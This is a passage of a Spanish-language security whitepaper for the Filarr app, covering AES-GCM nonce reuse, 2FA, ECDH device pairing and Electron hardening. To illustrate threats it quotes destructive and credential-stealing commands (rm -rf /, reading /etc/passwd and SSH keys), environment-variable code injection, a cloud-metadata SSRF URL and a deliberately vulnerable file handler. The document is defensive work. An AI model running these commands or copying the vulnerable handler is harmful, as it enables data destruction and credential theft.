El marcador de 4 bytes es un campo de formato que permite a Filarr gestionar la compatibilidad con los perfiles migrados desde la v1.x (en la que el cifrado usaba una clave local en lugar de la FEK). El descifrado lee los 4 primeros bytes, reconoce el formato y elige la ruta de código adecuada. Es un versionado criptográfico defensivo: el día que migremos a otro algoritmo (por ejemplo, añadiendo Kyber poscuántico), este mismo mecanismo gestionará los formatos mezclados durante la transición.
Los 12 bytes del nonce son públicos y se guardan en claro junto al texto cifrado. Es normal y seguro en GCM, como veremos más abajo. El texto cifrado propiamente dicho tiene exactamente el tamaño del texto en claro (GCM es un modo «de flujo», sin relleno), y los 16 últimos bytes son la etiqueta de autenticación que permitirá al descifrado detectar cualquier modificación.
5.2 ¿Por qué GCM y no CBC, CTR o ChaCha20?
El panorama de los modos de cifrado simétrico tiene más matices de lo que parece. Estos son los principales candidatos y sus compromisos:
| Modo | Confidencialidad | Integridad | Rendimiento | Canal lateral | Veredicto |
|---|---|---|---|---|---|
| AES-ECB | ❌ (fuga de patrones) | ❌ | Rápido | Resistente | Prohibido |
| AES-CBC | ✅ | ❌ (no autenticado) | Medio | Riesgo de padding oracle | A evitar solo |
| AES-CBC + HMAC | ✅ | ✅ | Lento (2 pasadas) | OK | OK pero complejo |
| AES-CTR | ✅ | ❌ | Rápido | OK | A evitar solo |
| AES-GCM | ✅ | ✅ (AEAD) | Rápido (acel. por hardware) | Bueno (salvo reutilización de nonce) | Estándar moderno |
| ChaCha20-Poly1305 | ✅ | ✅ (AEAD) | Rápido (software) | Muy bueno | Alternativa sin AES-NI |
AES-GCM es la opción moderna por defecto por tres razones combinadas. Primero, combina cifrado y autenticación en una sola construcción (AEAD, Authenticated Encryption with Associated Data): la etiqueta de 16 bytes detecta cualquier modificación del texto cifrado con una probabilidad de colisión de 2^-128. Así no tenemos que combinar a mano un cifrado (CBC) con un MAC (HMAC), una construcción que históricamente ha acabado mal en implementaciones ingenuas (ver Encrypt-then-MAC vs MAC-then-Encrypt vs Encrypt-and-MAC y los desastres de TLS 1.0 por elegir mal).
Después, AES-GCM aprovecha la aceleración por hardware AES-NI, presente en todas las CPU x86-64 desde ~2010 (Intel) y en todas las ARM64 con extensiones criptográficas desde ARMv8. Un núcleo moderno alcanza unos 5 gigabytes por segundo en AES-GCM, lo que en la práctica hace que el coste del cifrado sea despreciable frente al de la entrada/salida. La alternativa ChaCha20-Poly1305 también es muy rápida, pero en software puro; resulta preferible en plataformas sin AES-NI (móviles ARM de gama baja, por ejemplo), pero para una app de escritorio con Electron, AES-GCM es óptimo.
Por último, AES-GCM es un estándar FIPS 140-2, admitido de forma nativa en todas partes: Web Crypto API, crypto de Node.js, OpenSSL, libsodium, BoringSSL. Lo usan TLS 1.3 como suite de cifrado por defecto, Signal para cifrar los mensajes, Age para cifrar archivos y AWS para KMS. Es el consenso del sector.
5.3 La trampa mortal: Forbidden Attack y reutilización del nonce
AES-GCM tiene una debilidad catastrófica que debes conocer: reutilizar un nonce con la misma clave destruye por completo la seguridad. No es «algo peligroso» en el sentido de perder unos pocos bits de seguridad: es total, y permite a un atacante no solo descifrar, sino también falsificar textos cifrados arbitrarios que superarán la verificación.
Técnicamente, si un atacante observa dos textos cifrados C1 y C2 cifrados con el mismo par (K, N), primero puede calcular C1 ⊕ C2 = P1 ⊕ P2, lo que revela la combinación lineal de los textos en claro. Después, resolviendo el sistema polinómico sobre el cuerpo de Galois GF(2^128) en el que se basa GCM, puede recuperar la clave de autenticación interna H = AES_K(0^128). Con H en la mano, el atacante puede calcular la etiqueta GCM de cualquier texto cifrado que construya y, por tanto, falsificar textos cifrados autenticados arbitrarios. Este ataque, descrito por Böck, Zauner y Devlin en su artículo de 2016 Nonce-Disrespecting Adversaries, se explotó en la práctica ese mismo año contra unos 70 000 servidores HTTPS mal configurados.
Filarr se protege de esta clase de ataques con una disciplina estricta: en cada cifrado, llamamos a crypto.getRandomValues(new Uint8Array(12)) para obtener 12 bytes de nonce de una fuente CSPRNG. Con 2^96 nonces posibles y n archivos cifrados con la misma FEK, la probabilidad de colisión sigue la paradoja del cumpleaños: unos n² / 2^97. Para que un usuario cifre 2^32 archivos (cuatro mil millones), la probabilidad de colisión es del orden de 2^-33: despreciable. En la práctica, un usuario medio cifra como mucho 2^20 archivos a lo largo de la vida de su perfil, lo que da una probabilidad de colisión de 2^-57: inalcanzable.
Nunca generamos el nonce con un contador incrementado y guardado, aunque en teoría ahorre aleatoriedad. La razón: un cierre inesperado entre el incremento y la escritura del contador podría provocar la reutilización de un nonce al reiniciar, que es precisamente el escenario catastrófico. La aleatoriedad criptográfica en cada cifrado cuesta un poco más de CPU, pero elimina esta clase de errores por construcción.
5.4 El nonce es público, y es intencionado
Una confusión frecuente afecta a la naturaleza del nonce: mucha gente lo considera un secreto adicional, por analogía con la clave. Error. En GCM, el nonce no es un secreto; cumple la función de IV (vector de inicialización) y es público por diseño. Se guarda en claro junto al texto cifrado y se transmite con él. Lo único prohibido es reutilizarlo con la misma clave: lo que importa no es la confidencialidad del nonce, sino su unicidad.
5.5 ¿Qué autentica exactamente la etiqueta GCM?
La etiqueta de 16 bytes al final del texto cifrado autentica tres cosas a la vez. Primero, el propio texto cifrado: cualquier modificación, aunque sea de un solo bit, invalida la etiqueta y el descifrado falla. Después, los datos asociados (AAD, Additional Authenticated Data) si se proporcionan: Filarr no los usa, pero el campo existe en la API, y podría servir para vincular un texto cifrado a metadatos públicos (por ejemplo, el identificador en claro del archivo), lo que impediría a un atacante intercambiarlo entre archivos. Por último, implícitamente, el nonce y la clave: una etiqueta calculada con otro par (K, N) no se verificará, de modo que un atacante que intente descifrar con la clave equivocada obtiene un error en lugar de un texto en claro corrompido en silencio.
Un detalle importante de la API: cuando crypto.subtle.decrypt() detecta una etiqueta no válida, lanza una excepción en lugar de devolver un texto en claro parcial. Es la definición formal de AEAD: nunca se devuelven datos no autenticados, jamás. Un atacante que intente modificar el texto cifrado para obtener aunque sea un pequeño fragmento del texto en claro choca con esta garantía absoluta de Web Crypto.
6. Autenticación de dos factores (2FA)
El cifrado del lado del cliente protege tus archivos frente a un servidor comprometido, pero no protege tu cuenta frente a un robo en línea. Un atacante que adivine tu contraseña mediante credential stuffing puede iniciar sesión, exfiltrar los metadatos visibles para el servidor y provocar el borrado de la bóveda. La limitación de intentos por IP no basta por sí sola: una botnet que rota entre 5000 IP residenciales pasa desapercibida. Por eso, desde abril de 2026, Filarr ofrece autenticación de dos factores basada en TOTP, opcional, que se activa en «Settings > Security» (Ajustes > Seguridad), también en las cuentas gratuitas.
6.1 Por qué TOTP RFC 6238
Filarr usa el estándar TOTP RFC 6238: SHA-1, 6 dígitos, periodo de 30 s y una ventana de tolerancia de ±1 paso. Es una elección deliberada frente a WebAuthn / Passkeys. WebAuthn ofrece una mejor protección contra el phishing, pero exige hardware compatible (Touch ID, YubiKey, Windows Hello) y su portabilidad entre dispositivos y navegadores es desigual. TOTP funciona en todas partes con cualquier autenticador estándar (Authy, Google Authenticator, 1Password, Bitwarden y decenas más), sin nada en el servidor más allá de un secreto en base32 y un verificador conforme a la RFC. Esta portabilidad es coherente con el modelo «tu contraseña sigue siendo la fuente de verdad criptográfica»: la 2FA complementa la autenticación en el servidor, no sustituye a la criptografía local.
6.2 Códigos de respaldo, con hash HMAC-SHA-256
Al activarla, Filarr genera 8 códigos de respaldo de un solo uso. Cada código se guarda como un resumen HMAC-SHA-256; la clave HMAC se deriva del JWT_SECRET del worker, que nunca reside en D1. Usar HMAC en lugar de bcrypt no es un compromiso de seguridad: con 40 bits de entropía aleatoria por código, un atacante que exfiltre D1 también tiene que comprometer el JWT_SECRET, guardado aparte; e incluso con ambos, forzar HMAC-SHA-256 sobre 40 bits de aleatoriedad uniforme sigue siendo caro. Bcrypt con coste 12 (≈250 ms por intento) simplemente no es viable con el presupuesto de CPU de 50 ms de un Cloudflare Worker; con el HMAC nativo de Web Crypto, la verificación tarda microsegundos y el coste operativo es nulo.
6.3 Lo que la 2FA NO protege
Importante: la 2FA protege solo el inicio de sesión de la cuenta. Interpone una barrera al iniciar sesión mediante un flujo en dos pasos: contraseña → token MFA corto de 5 minutos → código TOTP o código de respaldo → tokens de sesión, con un límite de 10 intentos cada 15 min por IP en el segundo paso. Pero si un atacante exfiltra la copia cifrada de tu clave maestra guardada en el servidor, puede intentar una fuerza bruta sin conexión, y ahí la 2FA no sirve absolutamente de nada. Solo trabajan la solidez de tu contraseña y las 600 000 iteraciones de PBKDF2-SHA-512. La 2FA es una defensa contra el robo de la cuenta, distinta de la defensa criptográfica; las dos se complementan, no se sustituyen.
La regeneración de la frase de recuperación (BIP-39 de 24 palabras) y la de los códigos de respaldo también están disponibles en «Settings > Security»; ambas invalidan de inmediato los elementos anteriores.
7. Emparejamiento multidispositivo
Compartir la FEK entre varios dispositivos es probablemente la parte criptográficamente más delicada de toda la arquitectura. La restricción es clara: queremos que un usuario que ya ha desbloqueado su cuenta en su portátil (dispositivo A) pueda añadir su móvil o un segundo portátil (dispositivo B) a la misma cuenta, con acceso a todos los datos, sin que el servidor vea nunca la FEK en claro. ¿Cómo transmitir una clave secreta por un canal que no es de confianza (el servidor) sin que el canal pueda leerla? Es exactamente el problema que resuelven los intercambios de claves Diffie-Hellman desde 1976, con una garantía matemática sólida.
7.1 El protocolo completo en v2.2.2+
La idea básica de un intercambio Diffie-Hellman es que dos partes pueden derivar un secreto compartido intercambiando claves públicas por un canal abierto, sin que un observador pasivo pueda reconstruir ese secreto. En la criptografía moderna se usa la variante de curva elíptica (ECDH), que ofrece la misma seguridad que el Diffie-Hellman clásico con claves mucho más cortas: una clave ECDH en la curva P-256 tiene 256 bits, frente a unos 3072 bits para una seguridad equivalente con Diffie-Hellman modular.
Este es el protocolo completo de Filarr:
┌─────────────────────────────┬─────────────────────────────┐
│ DEVICE A │ DEVICE B │
├─────────────────────────────┼─────────────────────────────┤
│ 1. Generate (privA, pubA) │ │
│ ECDH P-256 │ │
│ 2. Generate 6-digit code │ │
│ via crypto.randomInt() │ │
│ 3. PUT /pairing/<code> { │ │
│ pubA: base64 │ │
│ } (TTL 5 min) │ │
│ │ 4. User enters code │
│ │ 5. GET /pairing/<code> │
│ │ → receives pubA │
│ │ 6. Generate (privB, pubB) │
│ │ 7. sharedBits = │
│ │ ECDH(privB, pubA) │
│ │ 8. wrapKey = │
│ │ HKDF-SHA-256( │
│ │ ikm=sharedBits, │
│ │ salt=code, │
│ │ info="filarr. │
│ │ pairing.wrap.v1", │
│ │ length=32 │
│ │ ) │
│ │ 9. PUT /pairing/<code>/ │
│ │ device-b-pubkey { │
│ │ pubB: base64 │
│ │ } │
│ 10. Poll /pairing/<code> │ │
│ → receives pubB │ │
│ 11. sharedBits = │ │
│ ECDH(privA, pubB) │ │
│ 12. wrapKey = HKDF(...) │ │
│ (identical to B) │ │
│ 13. iv = random(12) │ │
│ 14. wrappedFEK = │ │
│ AES-256-GCM.wrap( │ │
│ fek, wrapKey, iv │ │
│ ) │ │
│ 15. PUT /pairing/<code>/ │ │
│ wrapped-fek { │ │
│ blob: base64( │ │
│ iv ++ wrappedFEK │ │
│ ) │ │
│ } │ │
│ │ 16. Poll /pairing/<code> │
│ │ → receives blob │
│ │ 17. fek = AES-256-GCM │
│ │ .unwrap(blob, wrapKey) │
│ │ 18. Store fek via │
│ │ safeStorage OS │
│ │ 19. DELETE /pairing/<code> │
└─────────────────────────────┴─────────────────────────────┘
Lo que el servidor de Filarr ve pasar en este protocolo se limita a elementos públicos: la clave pública del dispositivo A (pubA, un punto de la curva P-256 que no revela nada sobre la clave privada, por la propia definición del ECDLP, el problema del logaritmo discreto en curvas elípticas), la clave pública del dispositivo B, de forma simétrica, el código de emparejamiento de 6 dígitos y un blob opaco iv ++ wrappedFEK. Ese blob está cifrado con una clave que un servidor pasivo no puede reconstruir, porque para ello necesitaría conocer privA o privB, claves privadas efímeras que nunca salen de los dispositivos. Un servidor activamente malicioso, en cambio, sí podría hacer un ataque de intermediario contra esta versión del intercambio: conoce el código, que es a la vez su clave de búsqueda y la sal de HKDF, así que sustituyendo las claves públicas por las suyas podría desenvolver la FEK y volver a envolverla para el dispositivo B, que no notaría nada. Por ese fallo el protocolo ha pasado después a una segunda versión: el dispositivo A pone en el código QR un secreto de 32 bytes, que no se envía a ninguna ruta del servidor y que sustituye al código como sal de HKDF; el dispositivo A se compromete con su clave pública antes de ver la del dispositivo B, y las dos pantallas muestran seis dígitos de verificación derivados del intercambio, que confirmas antes de que se envuelva la FEK.
7.2 HKDF extract-expand y por qué hubo que añadirlo en v2.2.2
Antes de la v2.2.2, el código usaba directamente los 256 bits brutos que devuelve crypto.subtle.deriveBits() como clave AES-256 para envolver la FEK. En la práctica funciona (los 256 bits son aleatorios dentro del grupo de la curva), pero técnicamente viola las hipótesis formales bajo las que se demuestra la seguridad de AES-GCM.
El problema sutil es que los bits de un punto ECDH no están distribuidos de forma uniforme en {0, 1}^256. Son aleatorios dentro del grupo, es decir, representan un punto aleatorio de la curva elíptica, pero la estructura de la curva hace que algunas secuencias de 256 bits no correspondan a ningún punto válido, mientras que otras son más frecuentes. Esta falta de uniformidad no se ve a simple vista (las coordenadas parecen ruido), pero es estadísticamente medible y, sobre todo, rompe la demostración de seguridad de AES-GCM, que supone claves uniformemente aleatorias en {0, 1}^256.
La respuesta estándar a este problema es HKDF (RFC 5869), una construcción en dos pasos que transforma cualquier fuente con entropía suficiente en una clave uniformemente distribuida. El primer paso, Extract, calcula PRK = HMAC-SHA-256(salt, ikm), donde ikm es el material de clave de entrada (los sharedBits de ECDH, en nuestro caso). El resultado, PRK, es una clave pseudoaleatoria concentrada, uniformemente distribuida en {0, 1}^256. El segundo paso, Expand, deriva la o las claves de salida con OKM = HMAC-SHA-256(PRK, info || 0x01). Esta separación en dos fases está analizada formalmente: demuestra que un adversario que observe OKM no puede distinguir la distribución de salida de una distribución uniforme verdaderamente aleatoria, aunque tenga acceso a ikm (con hipótesis razonables sobre HMAC).
Añadir HKDF en Filarr v2.2.2 fue un endurecimiento de defensa en profundidad: en la práctica, en 2026 ningún ataque conocido explotaba la falta de uniformidad de los bits ECDH contra AES-GCM, pero respetar las hipótesis formales garantiza que no nos pillará desprevenidos un artículo académico que mañana publique un ataque nuevo basado en ella.
7.3 El separador de dominio, cinturón y tirantes
El campo info de HKDF, que fijamos en la cadena literal "filarr.pairing.wrap.v1", no es cosmético. Cumple una función importante llamada separación de dominios: garantizar que la misma fuente de entropía (sharedBits) nunca producirá la misma clave derivada para dos usos distintos, aunque se use el mismo algoritmo (aquí, HKDF-SHA-256).
Imagina que mañana añadimos una función nueva: firmar los manifiestos de sincronización con una clave derivada del intercambio ECDH del emparejamiento. Si usáramos HKDF con el mismo parámetro info, la clave de firma sería idéntica a la clave de envoltura, lo que crearía una dependencia oculta entre dos primitivas criptográficas distintas. Un ataque contra una (por ejemplo, la fuga de la clave de firma por un canal lateral) comprometería la otra. Con un info distinto para cada uso ("filarr.pairing.wrap.v1" frente a "filarr.pairing.sign.v1"), las claves derivadas son independientes según las hipótesis de HKDF, aunque partan de los mismos sharedBits. Es el patrón que recomienda el NIST SP 800-56C para cualquier derivación de claves a partir de un secreto compartido.
El sufijo v1 de la etiqueta también es intencionado: si cambiamos el algoritmo de envoltura (por ejemplo, pasando a ChaCha20-Poly1305), pasaremos a v2, lo que garantiza que un blob cifrado con la versión antigua no se interprete por error como el formato nuevo.
7.4 El código de 6 cifras y su seguridad
El código de 6 cifras, elegido entre 100000 y 999999, ofrece algo menos de 20 bits de entropía: 900 000 combinaciones posibles. Cabría temer que un atacante forzara la API /pairing/<code> para adivinar el código e interceptar el blob cifrado. Varias defensas superpuestas hacen inviable este ataque.
Primero, el código tiene un TTL de 5 minutos en el servidor: pasado ese plazo, la entrada se borra y el código ya no corresponde a nada. El atacante solo tiene, por tanto, 5 minutos para la fuerza bruta. Después, el servidor aplica dos limitaciones de intentos. Por código: tras 3 intentos de obtener la sesión de emparejamiento, el emparejamiento se invalida. Por IP, en ventanas de 15 minutos: 10 intentos en las acciones de emparejamiento y 600 en las rutas que un dispositivo en espera consulta cada 2 segundos. Incluso a 600 intentos por ventana desde una misma dirección, llegar a una probabilidad de una entre dos de dar con un código válido lleva unos 117 días. Matemáticamente despreciable, y a eso se suma que el atacante también tendría que adivinar el código justo en el momento en que es válido, lo que añade una dimensión temporal al problema.
Por último, el código se transmite fuera de banda: se muestra en la pantalla del dispositivo A y se escribe a mano en el dispositivo B. El cliente del dispositivo A genera el código localmente con crypto.randomInt() y lo declara al servidor, que por tanto lo conoce: el código protege frente a un tercero que intente adivinarlo, no frente al propio servidor (ver §7.1). Un atacante que escuche la red, detrás de TLS, nunca ve el código en claro.
Para completar el cuadro, ECDH aporta además secreto hacia adelante (forward secrecy): las claves privadas privA y privB son efímeras y se borran tras el emparejamiento. Si un atacante obtiene el código después de que caduque, o incluso si compromete el servidor más adelante, ya no puede reconstruir la clave de envoltura, porque las claves privadas ya no existen.
7.5 Comparación con el enfoque de Signal
Un lector familiarizado con Signal podría preguntarse por qué Filarr no usa los números de seguridad (Safety Numbers) de Signal para la verificación. La respuesta está en que el caso de uso es distinto.
Signal usa huellas de 60 dígitos derivadas de las claves públicas persistentes de los dos contactos, que se comparan visualmente o escaneando un código QR. Este modelo se adapta a la mensajería persistente: una vez que Alice ha añadido a Bob a sus contactos y ha verificado su número de seguridad, puede escribirle durante años sin volver a verificar, mientras Bob no cambie de dispositivo. Pero el coste inicial es una comparación de 60 dígitos, aceptable para un amigo al que vas a ver en persona, pero pesada para un emparejamiento puntual contigo mismo.
El modelo de Filarr, más cercano a Apple Continuity / Handoff o al enfoque PSK de WireGuard + intercambio de claves, usa un código corto de un solo uso. Es menos seguro en términos absolutos (20 bits frente a ~200 bits de un número de seguridad completo), pero se ajusta al caso de uso, poco frecuente, de añadir un dispositivo nuevo a tu propia cuenta, con un canal de confianza físico (el usuario lee el código en una pantalla y lo escribe en otra).
8. Endurecimiento de Electron
Electron es un framework que combina dos componentes potencialmente peligrosos: Chromium, que expone toda la superficie de ataque de la web moderna (XSS, CSRF, DOM clobbering, contaminación de prototipos...), y Node.js, que da acceso completo al sistema (sistema de archivos, procesos, red, comandos de shell). Por defecto, una app de Electron que no hace nada especial expone esta combinación explosiva al código cargado en el renderer. Si un atacante consigue un XSS, puede llamar directamente a require('child_process').exec('rm -rf /') y se acabó la partida. Toda la seguridad de la aplicación Filarr se basa en romper esta cadena por arquitectura: el renderer no puede acceder directamente al sistema, pasa por canales IPC estrictamente tipados y en lista de permitidos.
8.1 Los tres aislamientos fundamentales
La configuración mínima para que una app de Electron moderna sea defendible es activar juntas tres opciones en webPreferences:
webPreferences: {
nodeIntegration: false, // Nada de require() en el renderer
contextIsolation: true, // contextBridge aísla el preload del renderer
sandbox: true, // El renderer se ejecuta en el sandbox de Chromium
preload: path.join(__dirname, 'preload.js'),
}
Sin estas tres opciones, todas las demás medidas de seguridad son cosméticas. Cada una merece una explicación.
nodeIntegration: false garantiza que el código JavaScript cargado en el renderer no tiene acceso a require(), process, global ni a otras variables globales de Node.js. El renderer está en el mismo estado que una pestaña normal de Chrome: puede manipular el DOM y llamar a las API web (fetch, localStorage, crypto.subtle, etc.), pero no puede leer un archivo local ni lanzar un proceso. Sin esta opción, cualquier XSS en una dependencia del frontend se convierte en un RCE (ejecución remota de código) completo, porque el atacante puede hacer require('fs').readFileSync('/etc/passwd').
contextIsolation: true va más allá: coloca el código del preload en un realm de V8 separado del código de la página. Aunque el preload necesite ipcRenderer (para exponer métodos al renderer mediante contextBridge), ese módulo no es accesible desde la página. Los dos realms comparten el DOM, pero no las variables globales de JavaScript. En concreto, si un atacante contamina los prototipos en el realm de la página (modificando Array.prototype, por ejemplo), no toca el preload. Sin contextIsolation, el puente contextBridge no es más que azúcar sintáctico y la página puede subvertir los objetos expuestos.
sandbox: true coloca el proceso del renderer en el sandbox de Chromium, un mecanismo de aislamiento a nivel de sistema operativo que Google desarrolla y endurece desde 2008 para bloquear las fugas. La implementación varía según el sistema, pero el principio es el mismo: el proceso del renderer solo puede hablar con el resto del sistema a través de un canal IPC con el proceso principal (el proceso del navegador de Chromium). En Windows, el sandbox usa una mezcla de Restricted Token (que elimina los privilegios de administrador y tokens concretos como SeTcbPrivilege), Job object (que limita los recursos) y Windows Integrity Level Low (que impide al proceso escribir en zonas del sistema). En macOS es Seatbelt, derivado de sandbox-exec, con un perfil propio de Chromium que enumera las llamadas al sistema permitidas. En Linux es una combinación de user namespaces (que dan al proceso la ilusión de ser root mientras está confinado), seccomp-bpf (que filtra las llamadas al sistema con una lista blanca a nivel del kernel) y chroot (que restringe su vista del sistema de archivos). Un sandbox bien configurado bloquea en la práctica llamadas al sistema como mount, ptrace, kexec_load y la mayoría de las operaciones que permitirían a un atacante escapar del proceso.
8.2 Fuses de Electron: integridad a nivel de binario
Los «fuses» (@electron/fuses) son un mecanismo relativamente reciente y poco conocido: bits de configuración que se fijan directamente en el binario de Electron al empaquetar y que ya no pueden modificarse en producción sin recompilar la aplicación. Cierran comportamientos por defecto del entorno de ejecución de Electron que eran útiles en desarrollo, pero peligrosos en producción.
Desde la v2.2.2, Filarr aplica 8 fuses explícitos con el parámetro strictlyRequireAllFuses: true. Este parámetro obliga a enumerar todos los fuses conocidos de la versión de Electron usada; si una versión futura de Electron añade un fuse nuevo con un valor por defecto inseguro, la compilación fallará y obligará a tomar una decisión explícita. Es el principio de fallar cerrado aplicado a la configuración de seguridad.
| Fuse | Valor | Lo que bloquea |
|---|---|---|
RunAsNode | false | ELECTRON_RUN_AS_NODE=1 filarr.exe ./evil.js: convertir Filarr en un entorno Node arbitrario para código del usuario |
EnableCookieEncryption | true | Cookies cifradas con DPAPI/Keychain/libsecret: un atacante que lea el archivo SQLite Cookies no puede extraer tokens en claro |
EnableNodeOptionsEnvironmentVariable | false | NODE_OPTIONS=--require=/tmp/evil.js filarr.exe: inyección de módulos de Node al arrancar |
EnableNodeCliInspectArguments | false | --inspect, --inspect-brk: un puerto de depuración en un binario de producción = RCE |
EnableEmbeddedAsarIntegrityValidation | true | Validación criptográfica de la integridad de app.asar (macOS + Windows): la app se niega a arrancar si un malware ha parcheado el JS en disco |
OnlyLoadAppFromAsar | true | Se niega a cargar desde un directorio sin empaquetar junto al binario, un vector de persistencia clásico |
LoadBrowserProcessSpecificV8Snapshot | false | Comportamiento por defecto (sin snapshot separado) |
GrantFileProtocolExtraPrivileges | true | Se mantiene por compatibilidad con file:// en producción; pendiente para la v2.3: migrar a un app:// propio y ponerlo a false |
Durante la prueba de humo de la actualización a Electron 41, en la v2.3.0, ocurrió una anécdota reveladora. Al ejecutar npm start por primera vez tras la actualización, la app se negó a arrancar con un error críptico: TypeError: Cannot read properties of undefined (reading 'isPackaged') en la línea const isDev = !electron_1.app.isPackaged. Tras investigar, la causa resultó ser una variable de entorno ELECTRON_RUN_AS_NODE=1 que se había quedado en la shell de desarrollo (la había definido una herramienta interna para otro proyecto) y que obligaba a Electron a ejecutarse como un simple entorno Node.js en lugar de como una app de Electron. require('electron') devolvía, por tanto, la ruta del binario en lugar del espacio de nombres de la API. Este error de desarrollo no tuvo consecuencias, pero ilustró a la perfección el escenario de ataque al que apunta el fuse RunAsNode: false: en producción, un atacante local con acceso de nivel de usuario al equipo podría definir ELECTRON_RUN_AS_NODE=1 en el entorno y lanzar filarr.exe ./malicious_script.js para ejecutar código arbitrario con los privilegios del usuario, usando como vector nuestro propio binario firmado. El fuse neutraliza esta variable en el binario final: aunque esté definida, Electron la ignora y arranca en modo app. Esta validación fortuita nos tranquilizó: la defensa funciona.
8.3 Lista de IPC permitidos y preload
El preload (electron/preload.ts) es el único lugar donde se ejecuta código Node.js con acceso a contextBridge e ipcRenderer. Su papel es exponer al renderer una API mínima, mediante contextBridge.exposeInMainWorld('electron', { ... }), que solo contiene los métodos necesarios para que la app funcione. El renderer no puede acceder directamente a ipcRenderer, no puede llamar a require() y no puede tocar process ni global. Cada método expuesto corresponde a un canal IPC tipado, gestionado en el proceso principal con una validación estricta de los argumentos.
Para ilustrar la diferencia entre la versión vulnerable y la endurecida, este es el handler import:readFile antes y después de la v2.2.1:
// ANTES de v2.2.1: vulnerable a path traversal
ipcMain.handle('import:readFile', async (_e, filePath: string) => {
return fs.readFile(filePath, 'utf-8');
});
// DESPUÉS de v2.2.1: lista blanca de rutas
const approvedImportPaths = new Set<string>();
ipcMain.handle('import:selectFile', async () => {
const { canceled, filePaths } = await dialog.showOpenDialog(...);
if (canceled) return null;
approvedImportPaths.add(path.resolve(filePaths[0]));
return filePaths[0];
});
ipcMain.handle('import:readFile', async (_e, filePath: string) => {
if (!isApprovedPath(filePath)) return null; // ← bloqueado
const lstat = await fs.lstat(filePath);
if (lstat.isSymbolicLink()) return null; // ← escape por enlace simbólico bloqueado
return fs.readFile(filePath, 'utf-8');
});
La diferencia es fundamental: en la versión vulnerable, un XSS en el renderer podía llamar a invoke('import:readFile', '/home/victim/.ssh/id_rsa') y exfiltrar la clave SSH. En la versión endurecida, solo se aceptan las rutas que el usuario ha elegido explícitamente en un diálogo nativo. El renderer no tiene forma de abrir un diálogo sin interacción del usuario (no existe ningún IPC para eso), así que no puede llenar la lista blanca con rutas de su elección. Los enlaces simbólicos también se rechazan, para impedir que un ZIP importado contenga un enlace simbólico que apunte a /etc/passwd y que Filarr leería al extraerlo.
Otros handlers se han endurecido de forma similar. vault:importZip tiene ahora un límite de 500 MB descomprimidos en total, 50 MB por entrada y 10 000 entradas como máximo, y rechaza las rutas que contienen .. o las rutas absolutas: estos límites protegen contra las bombas ZIP (archivos que se descomprimen en varios gigabytes) y los ataques ZIP slip (entradas con rutas que escapan de la carpeta de destino). open-external usa ahora un new URL(url) estricto que rechaza cualquier esquema distinto de http: y https:, los caracteres de control ASCII y las URL de más de 8 KB. Esta última comprobación se aplica incluso a las URL que devuelve nuestro propio backend para los pagos de Stripe, como defensa en profundidad frente a un backend comprometido que intentara forzar la apertura de una URL javascript: o file:.
8.4 Gestores de permisos
Las API web modernas incluyen un número impresionante de permisos sensibles: cámara, micrófono, geolocalización, USB, MIDI, Bluetooth, puerto serie, HID, captura de pantalla, acceso a la sincronización en segundo plano y otros más oscuros. Por defecto, Electron pide confirmación al usuario cuando una página solicita uno de estos permisos. Filarr va más allá y los rechaza explícitamente todos, definiendo un handler estricto:
mainWindow.webContents.session.setPermissionRequestHandler(
(_, permission, callback) => {
const allowed = ['clipboard-read', 'clipboard-sanitized-write', 'notifications'];
callback(allowed.includes(permission));
}
);
Solo se permiten tres: leer el portapapeles (para pegar texto), escribir en el portapapeles de forma saneada (para copiar texto, nunca HTML enriquecido que pudiera ser peligroso) y mostrar notificaciones de escritorio (para los recordatorios). Todo lo demás se rechaza en silencio. Aunque un XSS intentara llamar a navigator.mediaDevices.getUserMedia() para acceder a la webcam, la llamada devolvería un error de inmediato, sin preguntar al usuario.
8.5 Protección contra SSRF
Cuando Filarr muestra vistas previas de enlaces en las notas (mediante los handlers IPC fetchPageTitle y fetchPageMetadata), tiene que hacer peticiones HTTP a las URL citadas por el usuario. Es una superficie de ataque SSRF (Server-Side Request Forgery) clásica: un atacante podría poner en una nota compartida un enlace como http://169.254.169.254/latest/meta-data/iam/security-credentials/ que, si se consultara desde una máquina de AWS, devolvería las credenciales IAM temporales de la instancia. No es hipotético: es exactamente el mecanismo de la CVE-2019-8451 de Jira, en la que la función de vista previa de enlaces permitía exfiltrar credenciales IAM del servidor de Jira.
Filarr implementa una función auxiliar isPrivateOrReservedUrl() que bloquea todos los destinos internos antes de hacer la petición: localhost, 127.0.0.1, [::1], 0.0.0.0, los rangos privados de la RFC 1918 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), las direcciones link-local IPv4 e IPv6 (incluidas, por tanto, 169.254.169.254 y sus variantes) y las unique-local de IPv6. Una petición a un destino bloqueado devuelve un error de inmediato. Esta lista se mantiene a medida que aparecen nuevos rangos de metadatos en la nube (AWS, GCP, Azure y DigitalOcean tienen todos sus propias IP de metadatos, generalmente en 169.254.0.0/16).
9. Content Security Policy
La Content Security Policy es el último baluarte si todo lo demás falla. Filarr aplica una CSP estricta a todas las respuestas servidas al renderer, mediante un handler onHeadersReceived que inyecta las cabeceras en la sesión de Chromium:
default-src 'self';
script-src 'self' https://cdnjs.cloudflare.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob:;
font-src 'self' data: blob: *;
connect-src 'self' https://*.filarr-app.workers.dev
https://api.filarr.com
https://*.ingest.de.sentry.io;
worker-src 'self' blob: https://cdnjs.cloudflare.com;
frame-src https://www.youtube-nocookie.com https://www.youtube.com
https://player.vimeo.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
Además de la CSP, aplicamos sistemáticamente X-Content-Type-Options: nosniff (que impide el MIME sniffing abusivo), X-Frame-Options: DENY (que bloquea la inserción en iframes externos), Referrer-Policy: strict-origin-when-cross-origin (que limita la fuga de URL en las cabeceras Referer), Permissions-Policy: camera=(), microphone=(), geolocation=(), usb=() (respaldo del gestor de permisos para los agentes de usuario que todavía respetan esta cabecera) y Strict-Transport-Security: max-age=31536000; includeSubDomains (que activa HSTS en toda la familia de dominios de Filarr).
